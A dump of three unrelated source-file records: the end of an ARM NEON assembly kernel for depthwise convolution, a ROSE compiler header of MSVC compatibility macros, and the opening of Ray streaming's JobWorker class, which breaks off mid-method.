"22:" // Tile loop: Oddments: Load inputs: (1, 5): Bit 1: End
"fmla v28.4s, v5.4s, v12.4s\n"
"add x19, x12, XZR\n"
"fmla v24.4s, v2.4s, v12.4s\n"
"tbz %x[n_channels], #1, 23f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 24f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 24f\n"
"23:" // Tile loop: Oddments: Load inputs: (4, 0): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"24:" // Tile loop: Oddments: Load inputs: (4, 0): Bit 1: End
"fmla v23.4s, v6.4s, v11.4s\n"
"add x19, x15, x10\n"
"fmla v19.4s, v3.4s, v11.4s\n"
"tbz %x[n_channels], #1, 25f\n"
"ldr d10, [x19], #0x8\n"
"tbz %x[n_channels], #0, 26f\n"
"ld1 { v10.s }[2], [x19]\n"
"b 26f\n"
"25:" // Tile loop: Oddments: Load inputs: (1, 2): Bit 1: Unset
"ldr s10, [x19, #0x0]\n"
"26:" // Tile loop: Oddments: Load inputs: (1, 2): Bit 1: End
"fmla v31.4s, v5.4s, v10.4s\n"
"add x19, x12, x27\n"
"fmla v30.4s, v4.4s, v10.4s\n"
"fmla v29.4s, v3.4s, v10.4s\n"
"fmla v27.4s, v2.4s, v10.4s\n"
"fmla v26.4s, v1.4s, v10.4s\n"
"fmla v25.4s, v0.4s, v10.4s\n"
"tbz %x[n_channels], #1, 27f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 28f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 28f\n"
"27:" // Tile loop: Oddments: Load inputs: (4, 5): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"28:" // Tile loop: Oddments: Load inputs: (4, 5): Bit 1: End
"fmla v20.4s, v8.4s, v11.4s\n"
"add x19, x15, x9\n"
"fmla v16.4s, v5.4s, v11.4s\n"
"tbz %x[n_channels], #1, 29f\n"
"ldr d12, [x19], #0x8\n"
"tbz %x[n_channels], #0, 30f\n"
"ld1 { v12.s }[2], [x19]\n"
"b 30f\n"
"29:" // Tile loop: Oddments: Load inputs: (1, 3): Bit 1: Unset
"ldr s12, [x19, #0x0]\n"
"30:" // Tile loop: Oddments: Load inputs: (1, 3): Bit 1: End
"fmla v30.4s, v5.4s, v12.4s\n"
"add x19, x11, x6\n"
"fmla v29.4s, v4.4s, v12.4s\n"
"fmla v28.4s, v3.4s, v12.4s\n"
"fmla v26.4s, v2.4s, v12.4s\n"
"fmla v25.4s, v1.4s, v12.4s\n"
"fmla v24.4s, v0.4s, v12.4s\n"
"tbz %x[n_channels], #1, 31f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 32f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 32f\n"
"31:" // Tile loop: Oddments: Load inputs: (5, 1): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"32:" // Tile loop: Oddments: Load inputs: (5, 1): Bit 1: End
"fmla v19.4s, v7.4s, v11.4s\n"
"add x19, x14, x6\n"
"fmla v18.4s, v6.4s, v11.4s\n"
"tbz %x[n_channels], #1, 33f\n"
"ldr d10, [x19], #0x8\n"
"tbz %x[n_channels], #0, 34f\n"
"ld1 { v10.s }[2], [x19]\n"
"b 34f\n"
"33:" // Tile loop: Oddments: Load inputs: (2, 1): Bit 1: Unset
"ldr s10, [x19, #0x0]\n"
"34:" // Tile loop: Oddments: Load inputs: (2, 1): Bit 1: End
"fmla v31.4s, v7.4s, v10.4s\n"
"add x19, x11, x28\n"
"fmla v30.4s, v6.4s, v10.4s\n"
"fmla v27.4s, v4.4s, v10.4s\n"
"fmla v26.4s, v3.4s, v10.4s\n"
"fmla v23.4s, v1.4s, v10.4s\n"
"fmla v22.4s, v0.4s, v10.4s\n"
"tbz %x[n_channels], #1, 35f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 36f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 36f\n"
"35:" // Tile loop: Oddments: Load inputs: (5, 4): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"36:" // Tile loop: Oddments: Load inputs: (5, 4): Bit 1: End
"fmla v17.4s, v8.4s, v11.4s\n"
"add x19, x14, x28\n"
"fmla v16.4s, v7.4s, v11.4s\n"
"tbz %x[n_channels], #1, 37f\n"
"ldr d12, [x19], #0x8\n"
"tbz %x[n_channels], #0, 38f\n"
"ld1 { v12.s }[2], [x19]\n"
"b 38f\n"
"37:" // Tile loop: Oddments: Load inputs: (2, 4): Bit 1: Unset
"ldr s12, [x19, #0x0]\n"
"38:" // Tile loop: Oddments: Load inputs: (2, 4): Bit 1: End
"fmla v29.4s, v8.4s, v12.4s\n"
"add x19, x8, x10\n"
"fmla v28.4s, v7.4s, v12.4s\n"
"fmla v25.4s, v5.4s, v12.4s\n"
"fmla v24.4s, v4.4s, v12.4s\n"
"fmla v21.4s, v2.4s, v12.4s\n"
"fmla v20.4s, v1.4s, v12.4s\n"
"tbz %x[n_channels], #1, 39f\n"
"ldr d10, [x19], #0x8\n"
"tbz %x[n_channels], #0, 40f\n"
"ld1 { v10.s }[2], [x19]\n"
"b 40f\n"
"39:" // Tile loop: Oddments: Load inputs: (0, 2): Bit 1: Unset
"ldr s10, [x19, #0x0]\n"
"40:" // Tile loop: Oddments: Load inputs: (0, 2): Bit 1: End
"fmla v31.4s, v2.4s, v10.4s\n"
"add x19, x13, x6\n"
"fmla v30.4s, v1.4s, v10.4s\n"
"fmla v29.4s, v0.4s, v10.4s\n"
"tbz %x[n_channels], #1, 41f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 42f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 42f\n"
"41:" // Tile loop: Oddments: Load inputs: (3, 1): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"42:" // Tile loop: Oddments: Load inputs: (3, 1): Bit 1: End
"fmla v27.4s, v7.4s, v11.4s\n"
"add x19, x8, x9\n"
"fmla v26.4s, v6.4s, v11.4s\n"
"fmla v23.4s, v4.4s, v11.4s\n"
"fmla v22.4s, v3.4s, v11.4s\n"
"fmla v19.4s, v1.4s, v11.4s\n"
"fmla v18.4s, v0.4s, v11.4s\n"
"tbz %x[n_channels], #1, 43f\n"
"ldr d12, [x19], #0x8\n"
"tbz %x[n_channels], #0, 44f\n"
"ld1 { v12.s }[2], [x19]\n"
"b 44f\n"
"43:" // Tile loop: Oddments: Load inputs: (0, 3): Bit 1: Unset
"ldr s12, [x19, #0x0]\n"
"44:" // Tile loop: Oddments: Load inputs: (0, 3): Bit 1: End
"fmla v30.4s, v2.4s, v12.4s\n"
"add x19, x14, XZR\n"
"fmla v29.4s, v1.4s, v12.4s\n"
"fmla v28.4s, v0.4s, v12.4s\n"
"tbz %x[n_channels], #1, 45f\n"
"ldr d10, [x19], #0x8\n"
"tbz %x[n_channels], #0, 46f\n"
"ld1 { v10.s }[2], [x19]\n"
"b 46f\n"
"45:" // Tile loop: Oddments: Load inputs: (2, 0): Bit 1: Unset
"ldr s10, [x19, #0x0]\n"
"46:" // Tile loop: Oddments: Load inputs: (2, 0): Bit 1: End
"fmla v31.4s, v6.4s, v10.4s\n"
"add x19, x13, x28\n"
"fmla v27.4s, v3.4s, v10.4s\n"
"fmla v23.4s, v0.4s, v10.4s\n"
"tbz %x[n_channels], #1, 47f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 48f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 48f\n"
"47:" // Tile loop: Oddments: Load inputs: (3, 4): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"48:" // Tile loop: Oddments: Load inputs: (3, 4): Bit 1: End
"fmla v25.4s, v8.4s, v11.4s\n"
"add x19, x14, x27\n"
"fmla v24.4s, v7.4s, v11.4s\n"
"fmla v21.4s, v5.4s, v11.4s\n"
"fmla v20.4s, v4.4s, v11.4s\n"
"fmla v17.4s, v2.4s, v11.4s\n"
"fmla v16.4s, v1.4s, v11.4s\n"
"tbz %x[n_channels], #1, 49f\n"
"ldr d12, [x19], #0x8\n"
"tbz %x[n_channels], #0, 50f\n"
"ld1 { v12.s }[2], [x19]\n"
"b 50f\n"
"49:" // Tile loop: Oddments: Load inputs: (2, 5): Bit 1: Unset
"ldr s12, [x19, #0x0]\n"
"50:" // Tile loop: Oddments: Load inputs: (2, 5): Bit 1: End
"fmla v28.4s, v8.4s, v12.4s\n"
"add x19, x13, XZR\n"
"fmla v24.4s, v5.4s, v12.4s\n"
"fmla v20.4s, v2.4s, v12.4s\n"
"tbz %x[n_channels], #1, 51f\n"
"ldr d10, [x19], #0x8\n"
"tbz %x[n_channels], #0, 52f\n"
"ld1 { v10.s }[2], [x19]\n"
"b 52f\n"
"51:" // Tile loop: Oddments: Load inputs: (3, 0): Bit 1: Unset
"ldr s10, [x19, #0x0]\n"
"52:" // Tile loop: Oddments: Load inputs: (3, 0): Bit 1: End
"fmla v27.4s, v6.4s, v10.4s\n"
"add x19, x12, x10\n"
"fmla v23.4s, v3.4s, v10.4s\n"
"fmla v19.4s, v0.4s, v10.4s\n"
"tbz %x[n_channels], #1, 53f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 54f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 54f\n"
"53:" // Tile loop: Oddments: Load inputs: (4, 2): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"54:" // Tile loop: Oddments: Load inputs: (4, 2): Bit 1: End
"fmla v23.4s, v8.4s, v11.4s\n"
"add x19, x13, x27\n"
"fmla v22.4s, v7.4s, v11.4s\n"
"fmla v21.4s, v6.4s, v11.4s\n"
"fmla v19.4s, v5.4s, v11.4s\n"
"fmla v18.4s, v4.4s, v11.4s\n"
"fmla v17.4s, v3.4s, v11.4s\n"
"tbz %x[n_channels], #1, 55f\n"
"ldr d12, [x19], #0x8\n"
"tbz %x[n_channels], #0, 56f\n"
"ld1 { v12.s }[2], [x19]\n"
"b 56f\n"
"55:" // Tile loop: Oddments: Load inputs: (3, 5): Bit 1: Unset
"ldr s12, [x19, #0x0]\n"
"56:" // Tile loop: Oddments: Load inputs: (3, 5): Bit 1: End
"fmla v24.4s, v8.4s, v12.4s\n"
"add x19, x11, x10\n"
"fmla v20.4s, v5.4s, v12.4s\n"
"fmla v16.4s, v2.4s, v12.4s\n"
"tbz %x[n_channels], #1, 57f\n"
"ldr d10, [x19], #0x8\n"
"tbz %x[n_channels], #0, 58f\n"
"ld1 { v10.s }[2], [x19]\n"
"b 58f\n"
"57:" // Tile loop: Oddments: Load inputs: (5, 2): Bit 1: Unset
"ldr s10, [x19, #0x0]\n"
"58:" // Tile loop: Oddments: Load inputs: (5, 2): Bit 1: End
"fmla v19.4s, v8.4s, v10.4s\n"
"add x19, x12, x9\n"
"fmla v18.4s, v7.4s, v10.4s\n"
"fmla v17.4s, v6.4s, v10.4s\n"
"tbz %x[n_channels], #1, 59f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 60f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 60f\n"
"59:" // Tile loop: Oddments: Load inputs: (4, 3): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"60:" // Tile loop: Oddments: Load inputs: (4, 3): Bit 1: End
"fmla v22.4s, v8.4s, v11.4s\n"
"add x19, x11, x9\n"
"fmla v21.4s, v7.4s, v11.4s\n"
"fmla v20.4s, v6.4s, v11.4s\n"
"fmla v18.4s, v5.4s, v11.4s\n"
"fmla v17.4s, v4.4s, v11.4s\n"
"fmla v16.4s, v3.4s, v11.4s\n"
"tbz %x[n_channels], #1, 61f\n"
"ldr d12, [x19], #0x8\n"
"tbz %x[n_channels], #0, 62f\n"
"ld1 { v12.s }[2], [x19]\n"
"b 62f\n"
"61:" // Tile loop: Oddments: Load inputs: (5, 3): Bit 1: Unset
"ldr s12, [x19, #0x0]\n"
"62:" // Tile loop: Oddments: Load inputs: (5, 3): Bit 1: End
"fmla v18.4s, v8.4s, v12.4s\n"
"add x19, x15, x6\n"
"fmla v17.4s, v7.4s, v12.4s\n"
"fmla v16.4s, v6.4s, v12.4s\n"
"tbz %x[n_channels], #1, 63f\n"
"ldr d10, [x19], #0x8\n"
"tbz %x[n_channels], #0, 64f\n"
"ld1 { v10.s }[2], [x19]\n"
"b 64f\n"
"63:" // Tile loop: Oddments: Load inputs: (1, 1): Bit 1: Unset
"ldr s10, [x19, #0x0]\n"
"64:" // Tile loop: Oddments: Load inputs: (1, 1): Bit 1: End
"fmla v31.4s, v4.4s, v10.4s\n"
"add x19, x15, x28\n"
"fmla v30.4s, v3.4s, v10.4s\n"
"fmla v27.4s, v1.4s, v10.4s\n"
"fmla v26.4s, v0.4s, v10.4s\n"
"tbz %x[n_channels], #1, 65f\n"
"ldr d11, [x19], #0x8\n"
"tbz %x[n_channels], #0, 66f\n"
"ld1 { v11.s }[2], [x19]\n"
"b 66f\n"
"65:" // Tile loop: Oddments: Load inputs: (1, 4): Bit 1: Unset
"ldr s11, [x19, #0x0]\n"
"66:" // Tile loop: Oddments: Load inputs: (1, 4): Bit 1: End
"fmla v29.4s, v5.4s, v11.4s\n"
"add x19, x12, x6\n"
"fmla v28.4s, v4.4s, v11.4s\n"
"fmla v25.4s, v2.4s, v11.4s\n"
"fmla v24.4s, v1.4s, v11.4s\n"
"tbz %x[n_channels], #1, 67f\n"
"ldr d12, [x19], #0x8\n"
"tbz %x[n_channels], #0, 68f\n"
"ld1 { v12.s }[2], [x19]\n"
"b 68f\n"
"67:" // Tile loop: Oddments: Load inputs: (4, 1): Bit 1: Unset
"ldr s12, [x19, #0x0]\n"
"68:" // Tile loop: Oddments: Load inputs: (4, 1): Bit 1: End
"fmla v23.4s, v7.4s, v12.4s\n"
"add x19, x12, x28\n"
"fmla v22.4s, v6.4s, v12.4s\n"
"fmla v19.4s, v4.4s, v12.4s\n"
"fmla v18.4s, v3.4s, v12.4s\n"
"tbz %x[n_channels], #1, 69f\n"
"ldr d10, [x19], #0x8\n"
"tbz %x[n_channels], #0, 70f\n"
"ld1 { v10.s }[2], [x19]\n"
"b 70f\n"
"69:" // Tile loop: Oddments: Load inputs: (4, 4): Bit 1: Unset
"ldr s10, [x19, #0x0]\n"
"70:" // Tile loop: Oddments: Load inputs: (4, 4): Bit 1: End
"fmla v21.4s, v8.4s, v10.4s\n"
"fmla v20.4s, v7.4s, v10.4s\n"
"fmla v17.4s, v5.4s, v10.4s\n"
"fmla v16.4s, v4.4s, v10.4s\n"
"fmax v31.4s, v31.4s, v15.4s\n"
"fmax v30.4s, v30.4s, v15.4s\n"
"fmax v29.4s, v29.4s, v15.4s\n"
"fmin v31.4s, v31.4s, v14.4s\n"
"fmin v30.4s, v30.4s, v14.4s\n"
"fmin v29.4s, v29.4s, v14.4s\n"
"fmax v28.4s, v28.4s, v15.4s\n"
"fmax v27.4s, v27.4s, v15.4s\n"
"fmax v26.4s, v26.4s, v15.4s\n"
"fmin v28.4s, v28.4s, v14.4s\n"
"fmin v27.4s, v27.4s, v14.4s\n"
"fmin v26.4s, v26.4s, v14.4s\n"
"fmax v25.4s, v25.4s, v15.4s\n"
"fmax v24.4s, v24.4s, v15.4s\n"
"fmax v23.4s, v23.4s, v15.4s\n"
"fmin v25.4s, v25.4s, v14.4s\n"
"fmin v24.4s, v24.4s, v14.4s\n"
"fmin v23.4s, v23.4s, v14.4s\n"
"fmax v22.4s, v22.4s, v15.4s\n"
"fmax v21.4s, v21.4s, v15.4s\n"
"fmax v20.4s, v20.4s, v15.4s\n"
"fmin v22.4s, v22.4s, v14.4s\n"
"fmin v21.4s, v21.4s, v14.4s\n"
"fmin v20.4s, v20.4s, v14.4s\n"
"fmax v19.4s, v19.4s, v15.4s\n"
"fmax v18.4s, v18.4s, v15.4s\n"
"fmax v17.4s, v17.4s, v15.4s\n"
"fmin v19.4s, v19.4s, v14.4s\n"
"fmin v18.4s, v18.4s, v14.4s\n"
"fmin v17.4s, v17.4s, v14.4s\n"
"fmax v16.4s, v16.4s, v15.4s\n"
"fmin v16.4s, v16.4s, v14.4s\n"
"tbz %x[n_channels], #1, 71f\n"
"mov x19, x16\n"
"st1 { v31.d }[0], [x19], x17\n"
"add x16, x16, #0x8\n"
"st1 { v30.d }[0], [x19], x17\n"
"mov x21, x26\n"
"st1 { v29.d }[0], [x19], x17\n"
"st1 { v27.d }[0], [x21], x17\n"
"add x26, x26, #0x8\n"
"st1 { v28.d }[0], [x19]\n"
"mov x20, x25\n"
"st1 { v26.d }[0], [x21], x17\n"
"add x25, x25, #0x8\n"
"st1 { v25.d }[0], [x21], x17\n"
"mov x19, x24\n"
"st1 { v24.d }[0], [x21]\n"
"add x24, x24, #0x8\n"
"st1 { v23.d }[0], [x20], x17\n"
"st1 { v22.d }[0], [x20], x17\n"
"st1 { v21.d }[0], [x20], x17\n"
"st1 { v20.d }[0], [x20]\n"
"st1 { v19.d }[0], [x19], x17\n"
"st1 { v18.d }[0], [x19], x17\n"
"st1 { v17.d }[0], [x19], x17\n"
"st1 { v16.d }[0], [x19]\n"
"tbz %x[n_channels], #0, 72f\n"
"mov x22, x16\n"
"st1 { v31.s }[2], [x22], x17\n"
"mov x21, x26\n"
"st1 { v30.s }[2], [x22], x17\n"
"st1 { v27.s }[2], [x21], x17\n"
"mov x20, x25\n"
"st1 { v29.s }[2], [x22], x17\n"
"mov x19, x24\n"
"st1 { v28.s }[2], [x22]\n"
"st1 { v26.s }[2], [x21], x17\n"
"st1 { v25.s }[2], [x21], x17\n"
"st1 { v24.s }[2], [x21]\n"
"st1 { v23.s }[2], [x20], x17\n"
"st1 { v22.s }[2], [x20], x17\n"
"st1 { v21.s }[2], [x20], x17\n"
"st1 { v20.s }[2], [x20]\n"
"st1 { v19.s }[2], [x19], x17\n"
"st1 { v18.s }[2], [x19], x17\n"
"st1 { v17.s }[2], [x19], x17\n"
"st1 { v16.s }[2], [x19]\n"
"b 72f\n"
"71:" // Tile loop: Oddments: Store: Bit 1: Unset
"mov x22, x16\n"
"st1 { v31.s }[0], [x22], x17\n"
"mov x21, x26\n"
"mov x20, x25\n"
"st1 { v30.s }[0], [x22], x17\n"
"st1 { v27.s }[0], [x21], x17\n"
"mov x19, x24\n"
"st1 { v29.s }[0], [x22], x17\n"
"st1 { v28.s }[0], [x22]\n"
"st1 { v26.s }[0], [x21], x17\n"
"st1 { v25.s }[0], [x21], x17\n"
"st1 { v24.s }[0], [x21]\n"
"st1 { v23.s }[0], [x20], x17\n"
"st1 { v22.s }[0], [x20], x17\n"
"st1 { v21.s }[0], [x20], x17\n"
"st1 { v20.s }[0], [x20]\n"
"st1 { v19.s }[0], [x19], x17\n"
"st1 { v18.s }[0], [x19], x17\n"
"st1 { v17.s }[0], [x19], x17\n"
"st1 { v16.s }[0], [x19]\n"
"72:" // Tile loop: Oddments: Store: Bit 1: End
"73:" // Tile loop: End
"ldr x4, [%x[params_struct], %[offsetof_args_tile_i]]\n"
"add x21, x4, #0x1\n"
"ldr x26, [%x[params_struct], %[offsetof_args_tile_j]]\n"
"ldr x20, [%x[params_struct], %[offsetof_args_n_tile_rows]]\n"
"add x26, x26, #0x1\n"
"ldr x19, [%x[params_struct], %[offsetof_args_n_tile_cols]]\n"
"cmp x26, x19\n"
"csel x26, x26, XZR, LT\n"
"csel x4, x4, x21, LT\n"
"cmp x4, x20\n"
"blt 1b\n"
:
: [n_channels] "r" ((unsigned long) n_channels), [offsetof_args_inptr] "I" (offsetof(Args, inptr)), [offsetof_args_ld_input_col] "I" (offsetof(Args, ld_input_col)), [offsetof_args_ld_input_row] "I" (offsetof(Args, ld_input_row)), [offsetof_args_ld_output_col] "I" (offsetof(Args, ld_output_col)), [offsetof_args_ld_output_row] "I" (offsetof(Args, ld_output_row)), [offsetof_args_max] "I" (offsetof(Args, max)), [offsetof_args_min] "I" (offsetof(Args, min)), [offsetof_args_n_tile_cols] "I" (offsetof(Args, n_tile_cols)), [offsetof_args_n_tile_rows] "I" (offsetof(Args, n_tile_rows)), [offsetof_args_outptr] "I" (offsetof(Args, outptr)), [offsetof_args_params] "I" (offsetof(Args, params)), [offsetof_args_tile_i] "I" (offsetof(Args, tile_i)), [offsetof_args_tile_j] "I" (offsetof(Args, tile_j)), [params_struct] "r" (¶ms_struct)
: "cc", "memory", "v0", "v1", "v2", "v3", "v4", "v5", "v6", "v7", "v8", "v9", "v10", "v11", "v12", "v13", "v14", "v15", "v16", "v17", "v18", "v19", "v20", "v21", "v22", "v23", "v24", "v25", "v26", "v27", "v28", "v29", "v30", "v31", "x4", "x5", "x6", "x7", "x8", "x9", "x10", "x11", "x12", "x13", "x14", "x15", "x16", "x17", "x19", "x20", "x21", "x22", "x23", "x24", "x25", "x26", "x27", "x28"
);
}
} // namespace depthwise
} // namespace arm_conv
| 29,763 |
488 | <filename>src/rose_msvc.h
// This is support for Microsoft Visual Studio C++ use with ROSE
// (it is initial work with no clear idea if MSVC will be supported in the future).
// DQ (3/22/2009): Added support for detection of Microsoft specific usage.
// Determine if this is a WIN32 (e.g., Windows NT or Windows 95) system.
#ifndef ROSE_WIN32
#if defined(__WATCOMC__) && defined(__NT__)
// Some versions of the Watcom compiler fail to set _WIN32. Set ROSE_WIN32 when running the Watcom compiler on NT.
#define ROSE_WIN32 1
#endif
#endif
#ifndef ROSE_WIN32
#ifdef _WIN32
#define ROSE_WIN32 1
#else
#define ROSE_WIN32 0
#endif
#endif
#ifndef ROSE_MSDOS
#if defined(MSDOS) || defined(__MSDOS__)
// Turbo-C defines __MSDOS__ and Microsoft C defines MSDOS, so this is MS-DOS.
#define ROSE_MSDOS 1
#else
#define ROSE_MSDOS 0
#endif
#endif
// Set a flag that indicates that some Microsoft operating system is being used.
#ifndef ROSE_MICROSOFT_OS
#if ROSE_WIN32 || ROSE_MSDOS
#define ROSE_MICROSOFT_OS 1
#else
#define ROSE_MICROSOFT_OS 0
#endif
#endif
// If this is a Microsoft operating system, as indicated by the macro
// "ROSE_MICROSOFT_OS", determine which compiler it is. Borland, Zortech,
// and Microsoft are supported.
#if ROSE_MICROSOFT_OS
#ifdef __TURBOC__
// Borland's (Turbo-C or C++) library is ANSI compatible.
#define __ANSIC__ 1
#else /* __TURBOC__ */
#ifdef __ZTC__
// Zortech's library is ANSI compatible.
#define __ANSIC__ 1
#else /* __ZTC__ */
// Then it must be MSC.
#define __MSC__ 1
// MSC's library is ANSI compatible.
#define __ANSIC__ 1
#endif
#endif
#endif
// If this has not be set yet, then set it explicitly
#ifndef __MSC__
#define __MSC__ 0
#endif
#if 0
// These options are specific to the platforms and the Microsoft Visual C++ compilers supported by the MKS Toolkit.
// _MSC_VER : defines the compiler version for the versions supported by the current version of MKS Toolkit. Possible values include:
// Microsoft Visual C++ 7.1 _MSC_VER = 1310
// Microsoft Visual C++ 7.0 _MSC_VER = 1300
// Microsoft Visual C++ 6.0 _MSC_VER = 1200
// Microsoft Visual C++ 5.0 _MSC_VER = 1100
//
// _WIN32 : is defined for Win32 applications and is always defined as 1.
//
// _M_IX86 : defines the processor. Possible values include:
// Blend _M_IX86 = 500
// Pentium _M_IX86 = 500
// Pentium Pro _M_IX86 = 600
// 80386 _M_IX86 = 300
// 80486 _M_IX86 = 400
#endif
// DQ (3/22/2009): MS does not define some of the standard Linux types
#if ROSE_MICROSOFT_OS
// Using boost/cstdint.hpp instead.
// typedef uint64_t unsigned long long;
// DQ (3/22/2009): This is defined in <linux/limits.h>, for MS we pick a value consistatn with MKS.
// Expanded API PATH_MAX. The size of PATH_MAX used by the MKS Toolkit UNIX APIs has been increased
// to 4096 bytes on Windows NT/2000/XP/2003 systems.
#define PATH_MAX 4096
// This is defined in <sys/param.h> but MSVS does not support that header file.
#define MAXPATHLEN PATH_MAX
#if 0 // def _MSC_VER
// DQ (11/27/2009): Needed to cope with bug in MS library: it fails to define min/max
template <class T>
inline T max(const T& a, const T& b)
{
return (a > b) ? a : b;
}
template <class T>
inline T min(const T& a, const T& b)
{
return (a < b) ? a : b;
}
#endif
// DQ (11/27/2009): Needed to cope with bug in MS library: it fails to define min/max
// This solution is from the web at: http://www.codeproject.com/Messages/3178857/Overcoming-problem-with-std-min-std-max-sharpdefin.aspx
// And then I simplified it to just undefine the min and max macros (which seems to be all that is required.
// #define NOMINMAX
// #ifndef max
// #define max(a,b) (((a) > (b)) ? (a) : (b))
// #endif
// #ifndef min
// #define min(a,b) (((a) < (b)) ? (a) : (b))
// #endif
// #include <afxcontrolbars.h>
#define NOMINMAX
#undef max
#undef min
// ...contine to use std::mix, std::max from here on
#ifdef _MSC_VER
// DQ (11/27/2009): "__func__" is C99, but MSVC uses "__FUNCTION__" instead.
#define __func__ __FUNCTION__
#endif
// DQ (12/28/2009): Moved this from where is was placed by Thomas in the ROSETTA grenerated code.
// This simplifies the generated code to support splitting large generated files into smaller files.
// tps (11/25/2009) : Added ssize_t for Windows
// tps (01/04/2010) LONG_PTR is defined in windows.h
#ifdef _MSC_VER
#include <windows.h>
typedef LONG_PTR ssize_t;
#endif
#endif
| 1,808 |
21,382 | import enum
import logging.config
import os
import threading
import time
from typing import Optional
import ray
import ray.streaming.runtime.processor as processor
from ray.actor import ActorHandle
from ray.streaming.generated import remote_call_pb2
from ray.streaming.runtime.command import WorkerRollbackRequest
from ray.streaming.runtime.failover import Barrier
from ray.streaming.runtime.graph import ExecutionVertexContext, ExecutionVertex
from ray.streaming.runtime.remote_call import CallResult, RemoteCallMst
from ray.streaming.runtime.context_backend import ContextBackendFactory
from ray.streaming.runtime.task import SourceStreamTask, OneInputStreamTask
from ray.streaming.runtime.transfer import channel_bytes_to_str
from ray.streaming.config import Config
import ray.streaming._streaming as _streaming
logger = logging.getLogger(__name__)
# special flag to indicate this actor not ready
_NOT_READY_FLAG_ = b" " * 4
@ray.remote
class JobWorker(object):
"""A streaming job worker is used to execute user-defined function and
interact with `JobMaster`"""
master_actor: Optional[ActorHandle]
worker_context: Optional[remote_call_pb2.PythonJobWorkerContext]
execution_vertex_context: Optional[ExecutionVertexContext]
__need_rollback: bool
def __init__(self, execution_vertex_pb_bytes):
logger.info("Creating job worker, pid={}".format(os.getpid()))
execution_vertex_pb = remote_call_pb2\
.ExecutionVertexContext.ExecutionVertex()
execution_vertex_pb.ParseFromString(execution_vertex_pb_bytes)
self.execution_vertex = ExecutionVertex(execution_vertex_pb)
self.config = self.execution_vertex.config
self.worker_context = None
self.execution_vertex_context = None
self.task_id = None
self.task = None
self.stream_processor = None
self.master_actor = None
self.context_backend = ContextBackendFactory.get_context_backend(
self.config)
self.initial_state_lock = threading.Lock()
self.__rollback_cnt: int = 0
self.__is_recreate: bool = False
self.__state = WorkerState()
self.__need_rollback = True
self.reader_client = None
self.writer_client = None
try:
# load checkpoint
was_reconstructed = ray.get_runtime_context(
).was_current_actor_reconstructed
logger.info(
"Worker was reconstructed: {}".format(was_reconstructed))
if was_reconstructed:
job_worker_context_key = self.__get_job_worker_context_key()
logger.info("Worker get checkpoint state by key: {}.".format(
job_worker_context_key))
context_bytes = self.context_backend.get(
job_worker_context_key)
if context_bytes is not None and context_bytes.__len__() > 0:
self.init(context_bytes)
self.request_rollback(
"Python worker recover from checkpoint.")
else:
logger.error(
"Error! Worker get checkpoint state by key {}"
" returns None, please check your state backend"
", only reliable state backend supports fail-over."
.format(job_worker_context_key))
except Exception:
logger.exception("Error in __init__ of JobWorker")
logger.info("Creating job worker succeeded. worker config {}".format(
self.config))
def init(self, worker_context_bytes):
logger.info("Start to init job worker")
try:
# deserialize context
worker_context = remote_call_pb2.PythonJobWorkerContext()
worker_context.ParseFromString(worker_context_bytes)
self.worker_context = worker_context
self.master_actor = ActorHandle._deserialization_helper(
worker_context.master_actor)
# build vertex context from pb
self.execution_vertex_context = ExecutionVertexContext(
worker_context.execution_vertex_context)
self.execution_vertex = self\
.execution_vertex_context.execution_vertex
# save context
job_worker_context_key = self.__get_job_worker_context_key()
self.context_backend.put(job_worker_context_key,
worker_context_bytes)
# use vertex id as task id
self.task_id = self.execution_vertex_context.get_task_id()
# build and get processor from operator
operator = self.execution_vertex_context.stream_operator
self.stream_processor = processor.build_processor(operator)
logger.info("Initializing job worker, exe_vertex_name={},"
"task_id: {}, operator: {}, pid={}".format(
self.execution_vertex_context.exe_vertex_name,
self.task_id, self.stream_processor, os.getpid()))
# get config from vertex
self.config = self.execution_vertex_context.config
if self.config.get(Config.CHANNEL_TYPE, Config.NATIVE_CHANNEL):
self.reader_client = _streaming.ReaderClient()
self.writer_client = _streaming.WriterClient()
logger.info("Job worker init succeeded.")
except Exception:
logger.exception("Error when init job worker.")
return False
return True
def create_stream_task(self, checkpoint_id):
if isinstance(self.stream_processor, processor.SourceProcessor):
return SourceStreamTask(self.task_id, self.stream_processor, self,
checkpoint_id)
elif isinstance(self.stream_processor, processor.OneInputProcessor):
return OneInputStreamTask(self.task_id, self.stream_processor,
self, checkpoint_id)
else:
raise Exception("Unsupported processor type: " +
str(type(self.stream_processor)))
def rollback(self, checkpoint_id_bytes):
checkpoint_id_pb = remote_call_pb2.CheckpointId()
checkpoint_id_pb.ParseFromString(checkpoint_id_bytes)
checkpoint_id = checkpoint_id_pb.checkpoint_id
logger.info("Start rollback, checkpoint_id={}".format(checkpoint_id))
self.__rollback_cnt += 1
if self.__rollback_cnt > 1:
self.__is_recreate = True
# skip useless rollback
self.initial_state_lock.acquire()
try:
if self.task is not None and self.task.thread.is_alive()\
and checkpoint_id == self.task.last_checkpoint_id\
and self.task.is_initial_state:
logger.info(
"Task is already in initial state, skip this rollback.")
return self.__gen_call_result(
CallResult.skipped(
"Task is already in initial state, skip this rollback."
))
finally:
self.initial_state_lock.release()
# restart task
try:
if self.task is not None:
